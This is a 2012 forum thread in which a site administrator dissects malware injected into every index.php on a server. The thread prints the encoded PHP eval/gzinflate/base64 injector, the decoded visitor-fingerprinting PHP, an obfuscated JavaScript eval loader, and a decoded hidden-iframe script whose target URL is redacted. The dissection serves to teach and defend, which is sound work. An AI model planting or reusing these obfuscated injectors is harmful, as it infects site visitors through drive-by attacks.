Jump to content

Dissecting a web server's infection

php javascript eval base64_decode virus gzinflate

  • Please log in to reply
7 replies to this topic

#1 Guest_ElatedOwl_*

Guest_ElatedOwl_*
  • Guests

Posted 13 November 2012 - 01:19 PM

As per the sites recent infection I've been dissecting what the virus actually did. Rather than keep this to myself I figured maybe someone else could learn from this experience.


DO NOT RUN ANY CODE FROM THIS THREAD.

Seriously. Don't.
So, let's start with the basics... a script was run that looked for every index.php file on the server. At the top of every index.php file a line was added,


<?php eval(gzinflate(base64_decode('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')));?>

It looks like a bunch of gibberish - intentionally from the author. First it's base64 decoding a string, then running gzinflate on it and finally evaluating the code. This makes it a lot harder to understand the authors intent with what's happening. Fortunately there are services out there that will safely decrypt this for you, the result is:


if (!isset($ftl))
{
global $ftl;
$ftl=1;
$ip=$_SERVER['REMOTE_ADDR'];
$dr=$_SERVER['DOCUMENT_ROOT'];
$ua = $_SERVER['HTTP_USER_AGENT'];
$dbf=$dr.'/'.md5(date('m.d.y'));
$odbf = $dr.'/'.md5(date('m.d.y'),time()-86400);
if (file_exists($odbf))@unlink($odbf);
if((strpos($ua,'Windows')!==false)&&((strpos($ua,'MSIE')!==false)||(strpos($ua,'Firefox')!==false||(strpos($ua,'Opera')!==false))&&(strpos(@file_get_contents($dbf),$ip) === false)))
{
error_reporting(0);
print(gzinflate(base64_decode('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyqBymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP358Hz8iHjfTuli1R219/YuL862rYjmrrsazarpe5Mv2jvz9vY/MBx99/3sfTarZ9Uff/+yj3b17H/2SadZO51uT7Cpv6f93YjB+8eVn8tEhOjnPrib59ra+mJ0vr/JlfnXnF+O7rctPLu9s3dHvLpYXdTtfylcEd2dv57PPPtt5t7tz57KL0UeffNRD6uJ8tjyfXUzy+s4vXnxGXxwSkK2szOv2k48+ujMmnPJ3X55vfbTM6PW2oH8u84/u/K6ffba9eyc3SH/vo/wyKz/6/uEv+SXJ8rPvffTwoxH/f/8+/tmjf3Yf4J9z/LmDfyb0z70Kv83xDzfexT8Z/rlA4xK/3bNf4LO9n8ZvB/azyGv76GOPfwOAe2hyb2FA3btn/7TvMla7Ob5YGtQEydJ8sQt49xgrNLlXmM/28efsIxltf9T7DDXsjj+TPnlI+MKHcB9dM7mkOY/23PwpX0R7fS+6MiGBiSB7YdoJYnhtL7PfDg1FkDm336LfPWDARNvft5D5nym+xWh2F+YfQWPX/sNDQL/SEZOZ0b1vvhBcuA9ucmF/Q2PGQN5Ab4IB9wtqCTPhXUZyjwnNs8HjYFy4I0aDcQYAN6JdBr+0fz4wTQR7fvee/Yxnd/O756Yds5pjbI+IGJZAPje/CZvyZwf2NwuFSSwYuMHwP5YPmOeEQszsFrJAuW+/4MaAx/Mh/Z7bb7kjZjPLPgLZCeie+VYmfmmb8BsMxbGF/ZZHvsdfAAOZ342cyI2ZbTcIlf+BQGLkmd9YZCKjl3na2HdHoOPCydzJ77nZt3pRpps/ex8hlia5+VbAu6m4WVc6zXeDnDPOlrCCOHOs1UsyyY6f+R8LWTgnZBWv81CDSG8/bb/9/44aGaRQRMTlW/T2ftLdUa/8bUTERYTeC5fb6gOLwW2VwtfAJaZBnCq1WvT9gPIXTufcFt4Hs/dPm3Ydw9Jh9K6F+NmTt40m67ZY9VTc+6iu/zf7dQyeQU3tPw4XANjjsTn5OzBfiIPL0xWlE5mh7x/OP9s7bD776CN42os751W9VXy2c1hs339w/3fFL598cucXv/2sOLRRgu/H32k++ex1WxfLi+99dF7DpV+c0D/zrD6pZvlH399aZXWTny3breX3iu+P9u7fuXP4S37wWQNol+Swb/3gzi/5Jb/k8V2NaP6fAAAA//8=')));
if ($fp = @fopen($dbf , 'a'))
{
fputs($fp , $ip.'|');
fclose($fp);
}
}
}

So in short the above script is checking to see if the user is on a Windows platform and is using Internet Explorer, Firefox or Opera. If the user meets those conditions it makes an MD5 hash of the date and uses it as a filename to append every IP address that meets these criteria to a file.

As far as the print statement above appending the file, I have not been able to translate it. It is however printing and this is the first line of the modified PHP file so we know it will be printed above all else. Let's dig into that next...

#2 Guest_ElatedOwl_*

Guest_ElatedOwl_*
  • Guests

Posted 13 November 2012 - 01:30 PM

So, what exactly is being printed at the top of every infected page?

try {
    if (window.document) window["document"]["body"] = "123"
} catch (bawetawe) {
    if (window.document) {
        v = window;
        try {
            fawbe--
        } catch (afnwenew) {
            try {
                (v + v)()
            } catch (gngrthn) {
                try {
                    if (020 === 0x10) v["document"]["bo" + "dy"] = "123"
                } catch (gfdnfdgber) {
                    m = 123;
                    if ((alert + "").indexOf("na" + "ti" + "ve") !== -1) ev = window["eval"];
                }
            }
            n = ["9", "9", "45", "42", "17", "1f", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "43", "41", "4g", "2j", "48", "41", "49", "41", "4a", "4g", "4f", "2g", "4l", "39", "3m", "43", "33", "3m", "49", "41", "1f", "1e", "3n", "4b", "40", "4l", "1e", "1g", "3g", "1n", "3i", "1g", "4n", "d", "9", "9", "9", "45", "42", "4e", "3m", "49", "41", "4e", "1f", "1g", "29", "d", "9", "9", "50", "17", "41", "48", "4f", "41", "17", "4n", "d", "9", "9", "9", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "4j", "4e", "45", "4g", "41", "1f", "19", "2a", "45", "42", "4e", "3m", "49", "41", "17", "4f", "4e", "3o", "2b", "1e", "44", "4g", "4g", "4c", "28", "1m", "1m", "4j", "41", "41", "40", "4a", "3m", "4i", "1l", "45", "4a", "42", "4b", "1m", "4g", "1m", "4i", "3o", "1l", "4c", "44", "4c", "2d", "43", "4b", "2b", "20", "1e", "17", "4j", "45", "40", "4g", "44", "2b", "1e", "1o", "1n", "1e", "17", "44", "41", "45", "43", "44", "4g", "2b", "1e", "1o", "1n", "1e", "17", "4f", "4g", "4l", "48", "41", "2b", "1e", "4i", "45", "4f", "45", "3n", "45", "48", "45", "4g", "4l", "28", "44", "45", "40", "40", "41", "4a", "29", "4c", "4b", "4f", "45", "4g", "45", "4b", "4a", "28", "3m", "3n", "4f", "4b", "48", "4h", "4g", "41", "29", "48", "41", "42", "4g", "28", "1n", "29", "4g", "4b", "4c", "28", "1n", "29", "1e", "2c", "2a", "1m", "45", "42", "4e", "3m", "49", "41", "2c", "19", "1g", "29", "d", "9", "9", "50", "d", "9", "9", "42", "4h", "4a", "3o", "4g", "45", "4b", "4a", "17", "45", "42", "4e", "3m", "49", "41", "4e", "1f", "1g", "4n", "d", "9", "9", "9", "4i", "3m", "4e", "17", "42", "17", "2b", "17", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "3o", "4e", "41", "3m", "4g", "41", "2j", "48", "41", "49", "41", "4a", "4g", "1f", "1e", "45", "42", "4e", "3m", "49", "41", "1e", "1g", "29", "42", "1l", "4f", "41", "4g", "2f", "4g", "4g", "4e", "45", "3n", "4h", "4g", "41", "1f", "1e", "4f", "4e", "3o", "1e", "1j", "1e", "44", "4g", "4g", "4c", "28", "1m", "1m", "4j", "41", "41", "40", "4a", "3m", "4i", "1l", "45", "4a", "42", "4b", "1m", "4g", "1m", "4i", "3o", "1l", "4c", "44", "4c", "2d", "43", "4b", "2b", "20", "1e", "1g", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "4i", "45", "4f", "45", "3n", "45", "48", "45", "4g", "4l", "2b", "1e", "44", "45", "40", "40", "41", "4a", "1e", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "4c", "4b", "4f", "45", "4g", "45", "4b", "4a", "2b", "1e", "3m", "3n", "4f", "4b", "48", "4h", "4g", "41", "1e", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "48", "41", "42", "4g", "2b", "1e", "1n", "1e", "29", "42", "1l", "4f", "4g", "4l", "48", "41", "1l", "4g", "4b", "4c", "2b", "1e", "1n", "1e", "29", "42", "1l", "4f", "41", "4g", "2f", "4g", "4g", "4e", "45", "3n", "4h", "4g", "41", "1f", "1e", "4j", "45", "40", "4g", "44", "1e", "1j", "1e", "1o", "1n", "1e", "1g", "29", "42", "1l", "4f", "41", "4g", "2f", "4g", "4g", "4e", "45", "3n", "4h", "4g", "41", "1f", "1e", "44", "41", "45", "43", "44", "4g", "1e", "1j", "1e", "1o", "1n", "1e", "1g", "29", "d", "9", "9", "9", "40", "4b", "3o", "4h", "49", "41", "4a", "4g", "1l", "43", "41", "4g", "2j", "48", "41", "49", "41", "4a", "4g", "4f", "2g", "4l", "39", "3m", "43", "33", "3m", "49", "41", "1f", "1e", "3n", "4b", "40", "4l", "1e", "1g", "3g", "1n", "3i", "1l", "3m", "4c", "4c", "41", "4a", "40", "2h", "44", "45", "48", "40", "1f", "42", "1g", "29", "d", "9", "9", "50"];
            h = 2;
            s = "";
            if (m) for (i = 0; i - 575 != 0; i++) {
                k = i;
                if (window["document"]) s += String["fro" + "mC" + "harCode"](parseInt(n[i], 25));
            }
            z = s;
            if (v) ev(z);
        }
    }
}
So there's definitely some voodoo magic going on here, thankfully I actually know javascript so dissecting this becomes a lot easier.

There's two main points, the variable n (the long ass array) and the for loop.

String["fro"+"mC"+"harCode"] is the same as saying String["fromCharCode"] is the same as saying String.fromCharCode.
So the for loop is taking each value in the array, parsing the int from it and converting it to a character from the int. This is all appended to a string, which directly after, is eval'd.

So, what does that array translate to? Thanks to modern science we can merely run console.log on the string and save ourselves quite a bit of trouble.


if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='*removed*' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}

function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', '*removed*');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}

So there you have it, it creates a 0 sized iframe to another page to perform the rest of its duties.

#3 Wolf

Wolf

    Zettabyte

  • Members
  • 6,487 posts

Posted 13 November 2012 - 04:08 PM

This is a really interesting read.

I always love reading up on malware and the likes.

#4 CSS

CSS

    Byte

  • Members
  • 35 posts

Posted 14 November 2012 - 12:00 PM

Very clever via the hacker. Would this be under "XSS injection"?

#5 Majestic

Majestic

    Megabyte

  • Members
  • 289 posts
  • LocationOut of phase.

Posted 14 November 2012 - 01:01 PM

With some research I came to the same conclusion as you.

*insert cliché inspirational quote here*


#6 Guest_ElatedOwl_*

Guest_ElatedOwl_*
  • Guests

Posted 14 November 2012 - 01:34 PM

Very clever via the hacker. Would this be under "XSS injection"?

Usually XSS avoids having to break into the server - for example, if I were able to put an html script tag in this post and have it render out as HTML instead of text that would be XSS injection.

This code was being directly parsed out from the php file. End result is exactly the same, though. ;p

#7 Majestic

Majestic

    Megabyte

  • Members
  • 289 posts
  • LocationOut of phase.

Posted 16 November 2012 - 04:31 PM

It's actually a pretty basic hack, but what is impressive is how he got into your server.

*insert cliché inspirational quote here*


#8 Guest_ElatedOwl_*

Guest_ElatedOwl_*
  • Guests

Posted 16 November 2012 - 05:34 PM

It's spleen's server, he just gave me access to get rid of this stuff.





Also tagged with one or more of these keywords: php, javascript, eval, base64_decode, virus, gzinflate